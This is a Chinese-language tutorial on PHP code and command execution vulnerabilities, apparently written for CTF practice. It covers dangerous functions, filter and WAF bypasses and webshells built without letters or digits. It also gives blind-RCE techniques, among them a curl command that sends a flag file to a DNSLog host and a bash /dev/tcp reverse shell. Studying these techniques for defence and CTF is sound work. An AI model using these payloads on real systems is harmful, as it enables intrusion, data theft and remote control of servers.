php代码与命令执行漏洞
代码执行与命令执行
1. 漏洞介绍
当用户提交的参数被服务端当作代码解析并执行时,就会产生此类漏洞。
广义代码注入: 覆盖大半安全漏洞分类,例如 SQL 注入、XSS 跨站脚本攻击等。
狭义代码执行: 动态代码执行函数的参数过滤不严格,导致用户输入的数据被当作服务端脚本语言(如 PHP、Python、Java 等)代码执行。
2. 常见 PHP 代码执行危险函数
大致分为五类:
(1) eval() 与 assert()
接受字符串,并将其作为脚本执行。当用户可以控制传入的字符串时,即存在代码注入漏洞。
eval(string $code):把字符串作为 PHP 代码执行(并非严格意义上的函数,而是语言构造器)。assert(mixed $assertion):检查一个断言是否为false,如果传入字符串,也会被作为 PHP 代码执行(PHP 7.2 起废弃了字符串执行,PHP 8.0 起彻底移除)。
基础用法:
1 | <?php |
GET/POST 传参利用:
1 | <?php |
- 输入 Payload:
?cmd=phpinfo();
进阶:遇到闭合与注释过滤
当开发人员尝试拼接代码并加引号时:
1 | <?php |
输入 Payload:
?cmd=');phpinfo();//注意: 如果服务器开启了
magic_quotes_gpc或使用了addslashes(),单引号'会被转义为\',导致上述闭合方法失效。
(2) preg_replace() /e 模式
原本用于执行正则表达式的搜索和替换。但如果使用了危险的 /e 修饰符,preg_replace() 会将 replacement 参数当作 PHP 代码执行。
1 | <?php |
- 输入 Payload:
?cmd=<data>{${phpinfo()}}</data>
(3) create_function() 匿名函数注入
主要用来创建匿名函数。如果没有对传递的参数进行严格过滤,攻击者可以闭合原有的函数代码块,从而注入任意代码。
1 | <?php |
- 输入 Payload:
?cmd=}phpinfo();/*
(4) 动态函数调用
通过声明变量接收函数名称,随后利用变量名动态调用该函数。
示例 1:常规动态调用
1 | <?php |
- 输入 Payload:
?func=phpinfo
示例 2:动态函数与参数拼接
PHP
1 | <?php |
- 输入 Payload:
?a=assert&b=phpinfo()(等价于执行assert(phpinfo());)
(5) 回调函数 (Callback)
用户自定义函数可作为参数传递给回调执行函数。
call_user_func() / call_user_func_array()
1 | <?php |
- 输入 Payload:
?func=assert&cmd=phpinfo()
数组遍历回调:array_filter() / array_map()
1 | <?php |
- 输入 Payload:
?func=system&cmd=whoami
3. 针对 PHP 代码层面的绕过技巧
当你的 Payload 受到 PHP 逻辑、WAF 黑名单或字符过滤限制时,主要在 PHP 语法层面寻找突破口。
(1) 危险函数的“平替”
当常用的执行函数(如 system 或 shell_exec)被 PHP 的 disable_functions 禁用时:
- 直接回显类:
passthru()。 - 无直接回显类:
exec()(需配合 echo 取最后一行返回)。 - 符号类:
`反引号(等同于shell_exec,例:echo `ls`;)。 - 底层进程类:
popen(),proc_open(),pcntl_exec()(常用于 Bypass disable_functions)。
(2) 纯 PHP 读文件(不依赖系统 Shell 命令)
当无法调用任何系统命令执行函数时,直接使用 PHP 内置的文件系统函数读取:
- 直接输出:
highlight_file('flag.php'),show_source('flag.php'),readfile('flag.php') - 需配合输出函数:
file_get_contents('flag.php'),file('flag.php')(将文件按行读入数组) - 纯 PHP 看目录:
print_r(scandir('/'));,var_dump(glob('/*'));
(3) PHP 关键字过滤与编码绕过
当代码中包含过滤了特定敏感词(如 system, flag)的黑名单时:
- 字符串拼接:
('sy'.'stem')('ls');或$a='f'.'lag'; highlight_file($a); - 编码转换: Base64:
eval(base64_decode('c3lzdGVtKCdscycpOw=='));(还可利用 Hex、URL 编码)。 - 异或/取反/或 (无数字字母 WebShell): 利用符号位运算生成字符串。例
(~%8F%97%8F%96%91%99%90)()等同于phpinfo()。
无字母数字 WebShell
当 WAF 极度严格,使用正则(如 /[a-z0-9]/i)过滤了所有英文字母和数字时,我们需要完全利用符号来构造出代码。通常有以下两大流派:
1. 位运算绕过(异或 / 取反 / 或)
利用非字母数字的 ASCII 字符,通过位运算生成目标字母。
- 异或 (
^): 例如'?' ^ '~'可以得到字母A。 - 取反 (
~): 利用汉字或其他高位字符的 UTF-8 编码取反运算生成字母。例:(~%8F%97%8F%96%91%99%90)()等同于phpinfo()。 - 或 (
|): 将两个不可见字符的二进制进行或运算拼出字母。
2. 自增绕过
核心原理: PHP 中存在一个特性,如果对一个字符变量进行自增(++)操作,它会变成下一个字符(例如 'A'++ 变成 'B','Z'++ 变成 'AA','a'++ 变成 'b')。
构造步骤:
获取初始字母 ‘A’: 我们无法直接输入 ‘A’,但可以通过强制类型转换将空数组变成字符串
"Array",然后提取它的第一个字符。1
2
3$_ = []; // 定义空数组
$_ = "$_"; // 数组转字符串,变成 "Array"
$_ = $_['!'=='@']; // ['!'=='@'] 相当于 [false] 也就是 [0]。取得 "Array"[0],即字母 'A'通过自增获取所需字母: 有了 ‘A’,就可以一路
++得到 ‘G’, ‘E’, ‘T’, ‘P’, ‘O’, ‘S’ 等字母。构造超全局变量: 将字母拼接成
_GET或_POST。动态执行: 利用
$$_(可变变量) 接收外部传入的正常参数,从而绕过当前代码块的限制。
经典自增 Payload 解析: 以下是一个完全不包含字母数字,构造 $_GET[_]($_GET[__]) 的经典 Payload:
1 | <?php |
工作流: 最终它等价于
$_GET['_']($_GET['__']);。此时你只需要在 URL 中附带?_=system&__=cat /flag,即可实现完美绕过。⚠️ 版本注意: 自增绕过在 PHP 5 和 PHP 7 环境下非常稳定,但在 PHP 8 中,由于对字符串自增和隐式转换的严格限制,很多基于数组转换
'A'的方法会抛出 Fatal Error,需要结合其他符号或位运算作为起始字符。(4) 参数逃逸 (利用超全局变量)
当 Payload 自身面临极严格的字符限制(如无法输入引号或括号)时,通过将真实 Payload 转移到其他参数位置绕过:
1 | // 利用 $_GET 传参避开单双引号和关键字过滤 |
- 原理:
get_defined_vars()获取所有已定义变量。reset()获取第一个元素(通常是$_GET数组)。next()将内部指针移动到第二个元素,提取出1的值system("tac flag.php");并丢给eval执行。
(5) 文件包含结合伪协议
当执行命令的函数全部被封杀时,利用 include() / require() 替代。如果直接包含 PHP 文件会被解析导致无回显,必须配合伪协议:
1 | ?c=include('php://filter/read=convert.base64-encode/resource=flag.php'); |
(6) Cookie / Session 偷渡
利用 HTTP 请求头或 Session 机制的 ID 传递 Payload,绕过 URL 或 Body 的检测:
1 | ?c=session_start();system(session_id()); |
4. 针对系统 Shell 层面的绕过技巧 (Command Execution Bypass)
当成功调用了 system() 等系统命令函数,但传入的参数受到限制时,你的对抗层面就来到了 Linux Bash 等底层 Shell。
(1) 系统命令与逻辑运算符拼接
用于在同一行执行多条命令:
&&(与):前一个成功才执行后一个。例:mkdir test && cd test||(或):前一个失败才执行后一个。例:cd not_exist || echo "fail"&(后台):将前一个放到后台,立即并行执行后一个。;(分号):无论前一个成功与否,继续执行下一个。
(2) Shell 符号过滤与关键字绕过
当底层拦截了 cat, flag 等系统命令关键字时:
- 引号绕过(打断关键字): 单/双引号
""或''定义空字符串。c""at fl''ag.php。 - 反斜杠转义:
c\at fl\ag.php。 - 插入空变量:
ca$@t fl$1ag.php或cat fl${x}ag.php($@、$1在 Bash 中为空,拼接后不影响原命令)。 - 通配符匹配:
*匹配任意数量字符,?匹配单个字符。system("cat f????php");system("cat /e't'c/*ss*");
(3) 空格过滤绕过
在 Shell 环境中,默认由 IFS (Internal Field Separator) 变量控制分隔符:
- URL 编码:
%20(空格),%09(Tab) - 输入重定向符:
<或<>(例:cat<flag.php) - 大括号扩展 (Brace Expansion):
{cat,flag.php} - IFS 变量替换:
$IFS$9,${IFS},$IFS
(4) 无回显命令执行 (Blind RCE) 及外带技巧
当系统命令执行的结果被重定向丢弃(如 >/dev/null 2>&1)导致网页无回显时,本质上也是一种 Shell 层面的限制:
1 | <?php |
解决思路与外带技巧:
命令分隔符“截断”
- 原理: 利用逻辑运算符将
>/dev/null和我们要执行的命令强行断开。 - Payload:
?cmd=ls;(最终拼成ls; >/dev/null 2>&1。第一条命令正常回显,第二条空命令丢入黑洞)。 - Payload:
?cmd=cat flag.php ||
- 原理: 利用逻辑运算符将
结果写入到 Web 文件
原理: 如果有目录写入权限,利用 Shell 重定向
>将结果保存在网站目录的独立文件中。Payload:
?cmd=cat flag.php > result.txt;
DNSLog 外带数据
- 原理: 靶机不允许写文件但出网,利用 Shell 的命令执行替换
$(...)将结果拼接到子域名中发包“带”出来。 - Payload:
?cmd=curl http://1234.ceye.io/?data=$(cat flag.txt);
- 原理: 靶机不允许写文件但出网,利用 Shell 的命令执行替换
反弹 Shell
- 原理: 绕开单次 HTTP 请求的限制,直接让靶机的 Bash 进程反向连接攻击机。
- Payload:
?cmd=bash -i >& /dev/tcp/1.1.1.1/6666 0>&1;

